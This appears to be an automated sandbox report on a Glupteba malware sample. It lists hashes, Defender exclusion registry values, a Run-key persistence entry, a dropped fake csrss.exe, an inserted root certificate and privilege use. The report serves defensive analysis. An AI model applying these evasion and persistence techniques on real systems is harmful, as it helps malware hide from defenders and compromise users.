Analysis
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max time kernel
179s -
max time network
198s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
25-06-2022 09:44
Static task
static1
Behavioral task
behavioral1
Sample
398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe
Resource
win10v2004-20220414-en
General
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Target
398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe
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Size
4.3MB
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MD5
23e940efe55576aeea02f54992c58d09
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SHA1
7620ba8933e3cf83e757ae042f2adfb980174c8e
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SHA256
398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5
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SHA512
4b8c70dfc87a7d0f429ef6bd21ec669d30cedd02e701b19e094afb4c6d913a2d2a71ba6adc41e702cec219814d00a981ae5e33447be055878a2ff4c99a769ae3
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
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Glupteba Payload 9 IoCs
Processes:
resource yara_rule behavioral1/memory/800-56-0x0000000004ED0000-0x00000000057DA000-memory.dmp family_glupteba behavioral1/memory/800-57-0x0000000000400000-0x0000000002FB4000-memory.dmp family_glupteba behavioral1/memory/800-58-0x0000000000400000-0x0000000002FB4000-memory.dmp family_glupteba behavioral1/memory/800-59-0x0000000000400000-0x0000000002FB4000-memory.dmp family_glupteba behavioral1/memory/860-63-0x0000000000400000-0x0000000002FB4000-memory.dmp family_glupteba behavioral1/memory/860-70-0x0000000000400000-0x0000000002FB4000-memory.dmp family_glupteba behavioral1/memory/676-73-0x0000000004CC0000-0x00000000055CA000-memory.dmp family_glupteba behavioral1/memory/676-74-0x0000000000400000-0x0000000002FB4000-memory.dmp family_glupteba behavioral1/memory/676-75-0x0000000000400000-0x0000000002FB4000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
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Processes:
398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\OldPaper = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 676 csrss.exe 1412 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
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Loads dropped DLL 8 IoCs
Processes:
398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exepatch.exepid process 860 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe 860 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe 872 1412 patch.exe 1412 patch.exe 1412 patch.exe 1412 patch.exe 1412 patch.exe -
Processes:
398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\OldPaper = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Windows\CurrentVersion\Run\OldPaper = "\"C:\\Windows\\rss\\csrss.exe\"" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 3 IoCs
Processes:
makecab.exe398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exedescription ioc process File created C:\Windows\Logs\CBS\CbsPersist_20220625134533.cab makecab.exe File opened for modification C:\Windows\rss 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe File created C:\Windows\rss\csrss.exe 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 64 IoCs
Processes:
netsh.exe398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe -
Processes:
csrss.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exepid process 800 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe 860 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.execsrss.exedescription pid process Token: SeDebugPrivilege 800 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Token: SeImpersonatePrivilege 800 398f65b46922e4a5a21ae7372fdf320ec5183f6f72da5f754db173807693fba5.exe Token: SeSystemEnvironmentPrivilege 676 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
